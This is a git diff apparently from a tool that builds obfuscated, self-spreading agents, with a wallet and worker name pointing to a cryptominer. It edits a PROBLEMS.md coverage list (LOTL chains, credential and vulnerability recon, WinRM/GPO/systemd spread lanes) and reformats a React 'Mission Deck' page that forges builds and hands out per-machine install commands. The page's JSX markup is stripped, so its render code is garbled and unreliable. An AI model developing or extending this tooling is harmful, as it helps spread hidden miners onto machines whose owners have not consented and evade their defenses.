diff --git a/PROBLEMS.md b/PROBLEMS.md
index 678108c..5ba6c03 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -89,7 +89,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| DV-09 | Dead chart badge styles in wealth-deck CSS. |
| DV-13 | Dark-only; no light / `prefers-color-scheme` path. |
| DV-14 | Sidebar footer hard-coded `v0.0.1`. |
-| DV-15 | `MissionDeckPage.tsx` excessive blank lines (maintainability). |
## Help / product copy gaps
@@ -103,7 +102,8 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| Item | Notes |
|------|-------|
-| LOTL / triple-onion / fleet recon | Go + Vitest coverage in `tests/README.md` (P0/P1 + `-ReconOnly`); live spread lanes and E2E recon flow still stub/mock-only. |
+| **P1 covered (2026-06-06)** | LOTL tier chain, triple-onion gates, fleet recon (vuln/cred/service graph), Crucible recon UI, `stats_batch` LOTL merge — Go + Vitest in `tests/README.md`; run `e2e-validate.ps1 -ReconOnly`. |
+| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, E2E Crucible `lotl_tier` badge with live agent. |
| Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). |
| Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. |
| Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
diff --git a/server/web/src/pages/MissionDeckPage.tsx b/server/web/src/pages/MissionDeckPage.tsx
index 9b5a30c..40c8297 100644
--- a/server/web/src/pages/MissionDeckPage.tsx
+++ b/server/web/src/pages/MissionDeckPage.tsx
@@ -1,1148 +1,656 @@
-/**
- * Mission Deck — video-game loadout screen.
- * Route: /mission-deck
- * Ghost / Loud / Spread chips, 3D preview, spread profile + campaign — one strike runs runForgeMission.
- * Full forge options live at /forge (BuilderPage).
- */
-
-import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
-
-import { Link } from 'react-router-dom';
-
-import { api } from '../api/client';
-
-import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
-
-import NeonCard from '../components/NeonCard/NeonCard';
-
-import { HelpTip } from '../components/HelpTip';
-
-import AlsoHere from '../components/Presence/AlsoHere';
-
-import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
-
-import { useModalAmbientDuck } from '../context/AmbientMusicContext';
-import { useForge } from '../context/ForgeContext';
-
-import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults';
-
-import { lanEndpointCandidates } from '../help/endpointHelpers';
-
-import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
-
-import { applyForgeFieldUpdate } from '../help/forgeRules';
-
-import {
- applyOperationMode,
- forgeSkinClassName,
- loadStoredOperationMode,
- loadStoredForgeTheme,
- resolveForgeSkin,
- storeOperationMode,
- type OperationModeId,
-} from '../help/forgeOperationModes';
-
-import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
-
-import {
- MISSION_STEPS,
- MISSION_STEP_LABELS,
- applyMissionPresets,
- missionStepStatus,
- runForgeMission,
- type MissionStep,
-} from '../help/forgeMission';
-
-import {
- MISSION_OPERATION_CHIPS,
- missionChipForMode,
- operationModeForChip,
- type MissionOperationChip,
-} from '../help/forgeMissionWizard';
-
-import './Pages.css';
-
+/**
+ * Mission Deck — video-game loadout screen.
+ * Route: /mission-deck
+ * Ghost / Loud / Spread chips, 3D preview, spread profile + campaign — one strike runs runForgeMission.
+ * Full forge options live at /forge (BuilderPage).
+ */
+
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { Link } from 'react-router-dom';
+import { api } from '../api/client';
+import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
+import NeonCard from '../components/NeonCard/NeonCard';
+import { HelpTip } from '../components/HelpTip';
+import AlsoHere from '../components/Presence/AlsoHere';
+import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
+import { useModalAmbientDuck } from '../context/AmbientMusicContext';
+import { useForge } from '../context/ForgeContext';
+import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults';
+import { lanEndpointCandidates } from '../help/endpointHelpers';
+import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
+import { applyForgeFieldUpdate } from '../help/forgeRules';
+import {
+
+ applyOperationMode,
+ forgeSkinClassName,
+ loadStoredOperationMode,
+ loadStoredForgeTheme,
+ resolveForgeSkin,
+ storeOperationMode,
+ type OperationModeId,
+} from '../help/forgeOperationModes';
+import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
+import {
+
+ MISSION_STEPS,
+ MISSION_STEP_LABELS,
+ applyMissionPresets,
+ missionStepStatus,
+ runForgeMission,
+ type MissionStep,
+} from '../help/forgeMission';
+import {
+
+ MISSION_OPERATION_CHIPS,
+ missionChipForMode,
+ operationModeForChip,
+ type MissionOperationChip,
+} from '../help/forgeMissionWizard';
+import './Pages.css';
import './MissionDeckPage.css';
-function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
-
- return forgeDefaultsFromServerSmart(config, serverInfo, builds);
-
+function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
+ return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
-const FORGE_PROGRESS_CAP = 94;
-
-const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
-
- { label: 'Resolving dependencies...', pct: 6, minMs: 0 },
-
- { label: 'Compiling agent source...', pct: 18, minMs: 20000 },
-
- { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
-
- { label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
-
- { label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
-
- { label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
-
- { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
-
+const FORGE_PROGRESS_CAP = 94;
+
+const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
+ { label: 'Resolving dependencies...', pct: 6, minMs: 0 },
+ { label: 'Compiling agent source...', pct: 18, minMs: 20000 },
+ { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
+ { label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
+ { label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
+ { label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
+ { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
];
-function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
-
- if (!building) return null;
-
- return (
-
-
-
-
-
- ⚙
-
- {stage || 'Initializing...'}
-
- {Math.round(progress)}%
-
-
-
-
-
-
-
- );
-
+function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
+ if (!building) return null;
+ return (
+
+
+ ⚙
+ {stage || 'Initializing...'}
+ {Math.round(progress)}%
+
+
+
+ );
}
-function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' {
-
- if (chip === 'ghost') return 'cyan';
-
- if (chip === 'loud') return 'magenta';
-
- return 'amber';
-
+function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' {
+ if (chip === 'ghost') return 'cyan';
+ if (chip === 'loud') return 'magenta';
+ return 'amber';
}
-export default function MissionDeckPage() {
-
- const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
-
- const forgeStageTimerRef = useRef | null>(null);
-
+export default function MissionDeckPage() {
+
+ const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
+
+ const forgeStageTimerRef = useRef | null>(null);
+
const cancelTokenRef = useRef('');
- const [form, setForm] = useState(null);
-
- const [loadingDefaults, setLoadingDefaults] = useState(true);
-
- const [error, setError] = useState('');
-
- const [serverInfo, setServerInfo] = useState(null);
-
- const [listenPort, setListenPort] = useState(8989);
-
- const [operationChip, setOperationChip] = useState(() =>
-
- missionChipForMode(loadStoredOperationMode()),
-
- );
-
- const [operationMode, setOperationMode] = useState(loadStoredOperationMode);
-
- const [spreadProfile, setSpreadProfile] = useState('');
-
- const [missionCampaign, setMissionCampaign] = useState('mission-deck');
-
- const [missionStep, setMissionStep] = useState(null);
-
- const [missionBusy, setMissionBusy] = useState(false);
-
- const [missionExportSkipped, setMissionExportSkipped] = useState(false);
-
- const [missionComplete, setMissionComplete] = useState(false);
-
- const [building, setBuilding] = useState(false);
-
- const [dispenseReveal, setDispenseReveal] = useState(null);
-
- const [equipFlash, setEquipFlash] = useState(false);
-
- useModalAmbientDuck(missionComplete);
+ const [form, setForm] = useState(null);
- const selectedChipDef = MISSION_OPERATION_CHIPS.find((c) => c.id === operationChip) ?? MISSION_OPERATION_CHIPS[0];
-
- const selectedProfileDef = spreadProfile ? SPREAD_PROFILES.find((p) => p.id === spreadProfile) : null;
+ const [loadingDefaults, setLoadingDefaults] = useState(true);
- const skinClass = [
-
- 'page fade-in command-deck mission-deck operator-deck-page',
-
- forgeSkinClassName(resolveForgeSkin(operationMode, loadStoredForgeTheme())),
-
- missionBusy ? 'mission-deck--equipping' : '',
-
- equipFlash ? 'mission-deck--equip-flash' : '',
-
- ]
-
- .filter(Boolean)
-
- .join(' ');
+ const [error, setError] = useState('');
- useEffect(() => {
-
- Promise.all([
-
- api.getConfig(),
-
- api.getServerInfo().catch(() => null),
-
- api.listBuilds().catch(() => []),
-
- ])
-
- .then(([config, info, builds]) => {
-
- if (info) {
-
- setServerInfo(info);
-
- setListenPort(config.port || info.port || 8989);
-
- } else {
-
- setListenPort(config.port || 8989);
-
- }
-
- const candidates = info ? lanEndpointCandidates(info, config.port || info?.port) : [];
-
- const buildList = builds as BuildRecord[];
-
- const base = defaultsFromConfig(
-
- config,
-
- info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' },
-
- buildList,
-
- );
-
- const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
-
- const storedMode = loadStoredOperationMode();
-
- setForm(applyOperationMode(withDefaults, storedMode));
-
- setOperationChip(missionChipForMode(storedMode));
-
- })
-
- .catch(() => setError('Failed to load server config — is the control server running?'))
-
- .finally(() => setLoadingDefaults(false));
-
- }, []);
+ const [serverInfo, setServerInfo] = useState(null);
- useEffect(() => {
-
- if (!building) {
-
- endForge();
-
- if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
-
- return;
-
- }
-
- const startMs = Date.now();
-
- startForge();
-
- let stageIdx = 0;
-
- const advance = () => {
-
- const elapsed = Date.now() - startMs;
-
- let next = 0;
-
- for (let i = 0; i < FORGE_STAGES.length; i++) {
-
- if (elapsed >= FORGE_STAGES[i].minMs) next = i;
-
- else break;
-
- }
-
- const s = FORGE_STAGES[next];
-
- const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
-
- const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
-
- const stageElapsed = elapsed - s.minMs;
-
- const stageDur = nextMs - s.minMs;
-
- const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
-
- const pct = s.pct + (nextPct - s.pct) * frac;
-
- if (next !== stageIdx) stageIdx = next;
-
- setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
-
- forgeStageTimerRef.current = setTimeout(advance, 250);
-
- };
-
- advance();
-
- return () => {
-
- if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
-
- };
-
- // eslint-disable-next-line react-hooks/exhaustive-deps
-
- }, [building]);
+ const [listenPort, setListenPort] = useState(8989);
- useEffect(() => {
-
- return () => {
-
- const tok = cancelTokenRef.current;
-
- if (tok) api.cancelBuild(tok).catch(() => {});
-
- };
-
- }, []);
-
- const endpointCandidates = useMemo(
-
- () => (serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []),
-
- [serverInfo, listenPort],
-
+ const [operationChip, setOperationChip] = useState(() =>
+ missionChipForMode(loadStoredOperationMode()),
);
- const preflightChecks = form ? runForgePreflight(form, false) : [];
-
- const canLaunch = form ? !preflightHasErrors(preflightChecks) : false;
+ const [operationMode, setOperationMode] = useState(loadStoredOperationMode);
- const updateField = (key: keyof BuildRequest, value: unknown) => {
-
- setForm((prev) => (prev ? applyForgeFieldUpdate(prev, key, value) : prev));
-
- };
+ const [spreadProfile, setSpreadProfile] = useState('');
- const selectOperationChip = (chip: MissionOperationChip) => {
-
- const modeId = operationModeForChip(chip);
-
- setOperationChip(chip);
-
- setOperationMode(modeId);
-
- storeOperationMode(modeId);
-
- setForm((prev) => (prev ? applyOperationMode(prev, modeId) : prev));
-
- };
+ const [missionCampaign, setMissionCampaign] = useState('mission-deck');
- const selectSpreadProfile = (id: SpreadProfileId | '') => {
-
- setSpreadProfile(id);
-
- if (id) {
-
- setForm((prev) => (prev ? applySpreadProfile(prev, id) : prev));
-
- }
-
- };
+ const [missionStep, setMissionStep] = useState(null);
- const finishForgeSuccess = async (result: BuildResponse) => {
-
- setStage('Build complete!', 100);
-
- setDispenseReveal(result);
-
- };
+ const [missionBusy, setMissionBusy] = useState(false);
- const handleKillBuild = useCallback(async () => {
-
- const tok = cancelTokenRef.current;
-
- if (tok) {
-
- try {
-
- await api.cancelBuild(tok);
-
- } catch {
-
- /* ignore */
-
- }
-
- }
-
- setBuilding(false);
-
+ const [missionExportSkipped, setMissionExportSkipped] = useState(false);
+
+ const [missionComplete, setMissionComplete] = useState(false);
+
+ const [building, setBuilding] = useState(false);
+
+ const [dispenseReveal, setDispenseReveal] = useState(null);
+
+ const [equipFlash, setEquipFlash] = useState(false);
+ useModalAmbientDuck(missionComplete);
+
+ const selectedChipDef = MISSION_OPERATION_CHIPS.find((c) => c.id === operationChip) ?? MISSION_OPERATION_CHIPS[0];
+
+ const selectedProfileDef = spreadProfile ? SPREAD_PROFILES.find((p) => p.id === spreadProfile) : null;
+
+ const skinClass = [
+ 'page fade-in command-deck mission-deck operator-deck-page',
+ forgeSkinClassName(resolveForgeSkin(operationMode, loadStoredForgeTheme())),
+ missionBusy ? 'mission-deck--equipping' : '',
+ equipFlash ? 'mission-deck--equip-flash' : '',
+ ]
+ .filter(Boolean)
+ .join(' ');
+ useEffect(() => {
+ Promise.all([
+ api.getConfig(),
+ api.getServerInfo().catch(() => null),
+ api.listBuilds().catch(() => []),
+ ])
+ .then(([config, info, builds]) => {
+ if (info) {
+ setServerInfo(info);
+ setListenPort(config.port || info.port || 8989);
+ } else {
+ setListenPort(config.port || 8989);
+ }
+
+ const candidates = info ? lanEndpointCandidates(info, config.port || info?.port) : [];
+
+ const buildList = builds as BuildRecord[];
+
+ const base = defaultsFromConfig(
+ config,
+ info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' },
+ buildList,
+ );
+
+ const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
+
+ const storedMode = loadStoredOperationMode();
+ setForm(applyOperationMode(withDefaults, storedMode));
+ setOperationChip(missionChipForMode(storedMode));
+ })
+ .catch(() => setError('Failed to load server config — is the control server running?'))
+ .finally(() => setLoadingDefaults(false));
}, []);
-
- const handleEquipAndStrike = async () => {
-
- if (!form) return;
-
- setError('');
-
- setMissionComplete(false);
-
- setMissionExportSkipped(false);
-
- setEquipFlash(true);
-
- setTimeout(() => setEquipFlash(false), 900);
-
- const normalized = applyMissionPresets(form, operationMode, spreadProfile);
-
- setForm(normalized);
-
- const checks = runForgePreflight(normalized, false);
-
- if (preflightHasErrors(checks)) {
-
- setError('Blocked — fix wallet or control URL errors before forging.');
-
- return;
-
+ useEffect(() => {
+ if (!building) {
+ endForge();
+ if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
+ return;
}
- const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
-
- const cancelToken = crypto.randomUUID();
-
- cancelTokenRef.current = cancelToken;
-
- setMissionBusy(true);
-
- setMissionStep('configure');
-
- setBuilding(true);
+ const startMs = Date.now();
+ startForge();
+ let stageIdx = 0;
- try {
-
- const result = await runForgeMission({
-
- form: normalized,
-
- operationMode,
-
- spreadProfile,
-
- campaign: missionCampaign,
-
- serverBase,
-
- api,
-
- cancelToken,
-
- onStep: (step) => {
-
- setMissionStep(step);
-
- if (step === 'forge') startForge();
-
- },
-
- });
-
- setMissionExportSkipped(result.exportSkipped);
-
- setMissionComplete(true);
-
- await finishForgeSuccess(result.build);
-
- } catch (err: unknown) {
-
- const msg = err instanceof Error ? err.message : 'Mission failed';
-
- if (msg !== 'build cancelled') {
-
- setMissionStep('error');
-
- setError(msg);
-
- }
-
- } finally {
-
- cancelTokenRef.current = '';
-
- setMissionBusy(false);
-
- setBuilding(false);
-
- }
-
+ const advance = () => {
+
+ const elapsed = Date.now() - startMs;
+ let next = 0;
+ for (let i = 0; i < FORGE_STAGES.length; i++) {
+ if (elapsed >= FORGE_STAGES[i].minMs) next = i;
+ else break;
+ }
+
+ const s = FORGE_STAGES[next];
+
+ const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
+
+ const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
+
+ const stageElapsed = elapsed - s.minMs;
+
+ const stageDur = nextMs - s.minMs;
+
+ const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
+
+ const pct = s.pct + (nextPct - s.pct) * frac;
+ if (next !== stageIdx) stageIdx = next;
+ setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
+ forgeStageTimerRef.current = setTimeout(advance, 250);
+ };
+ advance();
+ return () => {
+ if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
+ };
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [building]);
+ useEffect(() => {
+ return () => {
+
+ const tok = cancelTokenRef.current;
+ if (tok) api.cancelBuild(tok).catch(() => {});
+ };
+ }, []);
+
+ const endpointCandidates = useMemo(
+ () => (serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []),
+ [serverInfo, listenPort],
+ );
+
+ const preflightChecks = form ? runForgePreflight(form, false) : [];
+
+ const canLaunch = form ? !preflightHasErrors(preflightChecks) : false;
+
+ const updateField = (key: keyof BuildRequest, value: unknown) => {
+ setForm((prev) => (prev ? applyForgeFieldUpdate(prev, key, value) : prev));
};
- if (loadingDefaults) {
-
- return (
-
-
-
-
-
-
-
-
FAST PATH
-
-
Mission Deck
-
-
-
-
-
-
Loading loadout defaults…
-
-
-
- );
-
- }
+ const selectOperationChip = (chip: MissionOperationChip) => {
- if (!form) {
-
- return (
-
-
-
-
-
-
-
-
FAST PATH
-
-
Mission Deck
-
-
-
-
-
-
{error || 'Failed to load loadout defaults.'}
-
-
-
- );
-
- }
+ const modeId = operationModeForChip(chip);
+ setOperationChip(chip);
+ setOperationMode(modeId);
+ storeOperationMode(modeId);
+ setForm((prev) => (prev ? applyOperationMode(prev, modeId) : prev));
+ };
- return (
-
-
-
-
-
-
-
-
FAST PATH
-
-
- Mission Deck
-
-
-
-
- Pick a preset loadout and forge once — without the full Forge form. Install commands are on Builds when you are done.
-
-
-
-
-
- Forge
-
- {' — every build option · '}
-
- Emberwake
-
- {' — track campaigns · '}
-
- Builds
-
- {' — pinned install commands · '}
-
-
-
- Field guide
-
-
-
-
-
-
-
-
-
-
-
- Full Forge
-
-
-
-
-
- Emberwake
-
-
-
-
-
- Builds
-
-
-
-
-
-
+ const selectSpreadProfile = (id: SpreadProfileId | '') => {
+ setSpreadProfile(id);
+ if (id) {
+ setForm((prev) => (prev ? applySpreadProfile(prev, id) : prev));
+ }
+ };
-
+ const finishForgeSuccess = async (result: BuildResponse) => {
+ setStage('Build complete!', 100);
+ setDispenseReveal(result);
+ };
-
-
-
+ const handleKillBuild = useCallback(async () => {
-
-
-
-
-
-
-
-
-
-
-
-
- {operationChip === 'ghost' ? '◈' : operationChip === 'loud' ? '✦' : '⬡'}
-
-
-
-
-
-
-
-
-
-
-
-
2 — Your loadout
-
-
{selectedChipDef.label}
-
-
{selectedChipDef.blurb}
-
-
-
-
-
-
- Spread profile
-
- - {selectedProfileDef?.label ?? 'None'}
-
-
-
-
-
-
- Campaign
-
- - {missionCampaign || '—'}
-
-
-
-
-
-
- Worker
-
- - {form.worker_name || '—'}
-
-
-
-
-
-
- Deliverable
-
- - {form.spread_kit ? 'Spread Kit' : form.fusion_enabled ? 'Fusion' : 'Single platform'}
-
-
-
-
-
-
-
-
+ const tok = cancelTokenRef.current;
+ if (tok) {
+ try {
+ await api.cancelBuild(tok);
+ } catch {
+ /* ignore */
-
-
-
-
-
-
- One click: forge and export a spread kit when your profile needs it.{' '}
-
-
-
-
-
- {!canLaunch && !missionBusy && (
-
-
Fix preflight errors in your loadout before equipping.
-
- )}
-
- {error &&
{error}
}
-
+ }
+ }
+ setBuilding(false);
+ }, []);
+
+ const handleEquipAndStrike = async () => {
+ if (!form) return;
+ setError('');
+ setMissionComplete(false);
+ setMissionExportSkipped(false);
+ setEquipFlash(true);
+ setTimeout(() => setEquipFlash(false), 900);
+
+ const normalized = applyMissionPresets(form, operationMode, spreadProfile);
+ setForm(normalized);
+
+ const checks = runForgePreflight(normalized, false);
+ if (preflightHasErrors(checks)) {
+ setError('Blocked — fix wallet or control URL errors before forging.');
+ return;
+ }
+
+ const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
+
+ const cancelToken = crypto.randomUUID();
+ cancelTokenRef.current = cancelToken;
+ setMissionBusy(true);
+ setMissionStep('configure');
+ setBuilding(true);
+ try {
+
+ const result = await runForgeMission({
+ form: normalized,
+ operationMode,
+ spreadProfile,
+ campaign: missionCampaign,
+ serverBase,
+ api,
+ cancelToken,
+ onStep: (step) => {
+ setMissionStep(step);
+ if (step === 'forge') startForge();
+ },
+ });
+ setMissionExportSkipped(result.exportSkipped);
+ setMissionComplete(true);
+ await finishForgeSuccess(result.build);
+ } catch (err: unknown) {
+
+ const msg = err instanceof Error ? err.message : 'Mission failed';
+ if (msg !== 'build cancelled') {
+ setMissionStep('error');
+ setError(msg);
+ }
+ } finally {
+ cancelTokenRef.current = '';
+ setMissionBusy(false);
+ setBuilding(false);
+ }
+ };
+ if (loadingDefaults) {
+ return (
+
+
+
Loading loadout defaults…
+ );
+ }
+ if (!form) {
+ return (
+
+
+
+
FAST PATH
+
Mission Deck
+
+
+
{error || 'Failed to load loadout defaults.'}
+
+ );
+ }
+ return (
+
+
+
+
FAST PATH
+
+ Mission Deck
+
+
+ Pick a preset loadout and forge once — without the full Forge form. Install commands are on Builds when you are done.
+
+
+ Forge
+ {' — every build option · '}
+ Emberwake
+ {' — track campaigns · '}
+ Builds
+ {' — pinned install commands · '}
+
+ Field guide
+
+
+
+
+
+ Full Forge
+
+
+ Emberwake
+
+
+ Builds
+
+
+
+
+
+
+
+
+
+
+
+
+ {operationChip === 'ghost' ? '◈' : operationChip === 'loud' ? '✦' : '⬡'}
+
+
+
+
+
+
2 — Your loadout
+
{selectedChipDef.label}
+
{selectedChipDef.blurb}
+
+
+
- Spread profile
+ - {selectedProfileDef?.label ?? 'None'}
+
+
+
- Campaign
+ - {missionCampaign || '—'}
+
+
+
- Worker
+ - {form.worker_name || '—'}
+
+
+
- Deliverable
+ - {form.spread_kit ? 'Spread Kit' : form.fusion_enabled ? 'Fusion' : 'Single platform'}
+
+
+
+
+
+
+
+ One click: forge and export a spread kit when your profile needs it.{' '}
+
+
+ {!canLaunch && !missionBusy && (
+
Fix preflight errors in your loadout before equipping.
+ )}
+ {error &&
{error}
}
+
+ {(missionBusy || missionStep) && (
+
+
+ Forge run
+
+ {missionBusy && (
+
+ )}
+
+
+
PIPELINE STEPS
+
+ {MISSION_STEPS.map((step) => {
- {dispenseReveal && (
-
- setDispenseReveal(null)} />
-
+ const status = missionStep
+ ? missionStepStatus(step, missionStep, missionExportSkipped)
+ : 'pending';
+ return (
+
+ {status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
+ {' '}
+ {MISSION_STEP_LABELS[step]}
+ {step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
+
+ );
+ })}
+
+
+
+ )}
+
+
+
+ {dispenseReveal && (
+
setDispenseReveal(null)} />
)}
+ {missionComplete && (
+ setMissionComplete(false)}
+ >
+
e.stopPropagation()}>
+
Forge complete
+
+ Your build is ready. Copy per-machine install commands from{' '}
+ setMissionComplete(false)}>Builds
+ ; track campaign hits in{' '}
+ setMissionComplete(false)}>Emberwake.
+
+
+ setMissionComplete(false)}>
+ View install commands in Builds →
+
+ setMissionComplete(false)}>
+ Emberwake
+
+
+
+
+
+ )}
+
+ );
+}
- {missionComplete && (
-
-
setMissionComplete(false)}
-
- >
-
-
e.stopPropagation()}>
-
-
Forge complete
-
-
-
- Your build is ready. Copy per-machine install commands from{' '}
-
- setMissionComplete(false)}>Builds
-
- ; track campaign hits in{' '}
-
- setMissionComplete(false)}>Emberwake.
-
-
-
-
-
- setMissionComplete(false)}>
-
- View install commands in Builds →
-
-
-
- setMissionComplete(false)}>
-
- Emberwake
-
-
-
-
-
-
-
-
-
-
-
- )}
-
-
-
- );
-
-}
-
\ No newline at end of file